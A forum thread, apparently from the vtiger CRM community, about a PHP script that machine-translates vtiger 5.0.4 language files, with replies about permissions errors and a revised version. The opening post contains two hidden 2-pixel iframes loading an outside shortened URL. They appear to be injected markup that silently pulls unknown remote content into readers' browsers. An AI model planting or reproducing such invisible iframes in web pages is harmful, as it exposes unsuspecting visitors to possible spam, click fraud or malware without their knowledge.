Automatic translation script

Hi all,

I wrote php script wich tries to automate translation of language files of vtiger 5.0.4. It uses Google Translate and translation is not very good..., but it works and it helped me very much cause now I must only do very small corrections to language files. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 6 Comments sorted by Votes Date Added
  • briliant! worked like a charm, though i did need to alter permission on certain folders for it to work. pity you can't give a certain php script root permissions.

    thanks!
  • hi dnngb,

    good work <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->, it would be nice if you can create a forge project at <!-- m --><a class="postlink" href="http://forge.vtiger.com">http://forge.vtiger.com</a><!-- m --> and continue the development.

    regards,
    prasad
    vtiger team
  • any tips on how to use it?

    i have downloaded the script and copied it to c:\programfiler\vtigercrm5\apache\htdocs\vtigercrm\translate.php

    then i enter localhost/translate.php in my browser and get this errors:

    warning: scandir(./vtigercrm) [function.scandir]: failed to open dir: invalid argument in c:\programfiler\vtigercrm5\apache\htdocs\vtigercrm\translate.php on line 85

    warning: scandir() [function.scandir]: (errno 22): invalid argument in c:\programfiler\vtigercrm5\apache\htdocs\vtigercrm\translate.php on line 85

    any tips on how to change the language? i would like to translate to norwegian, and google supports norwegian.
  • hi speedy,

    here i attached renewed script, just extract this archive to your web server documents dir and run translate.php in browser. you can choose language and write your vtiger directory. then just press translate!

    after translation is completed you must add manually your new language to config.inc.php - i will make this automatic too, but tomorrow!

    if you have any questions or see bugs write them here or write me at dnn(at)dolphin-3.bg
  • nice one! thanks!

    i'm trying now <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->
Sign In or Register to comment.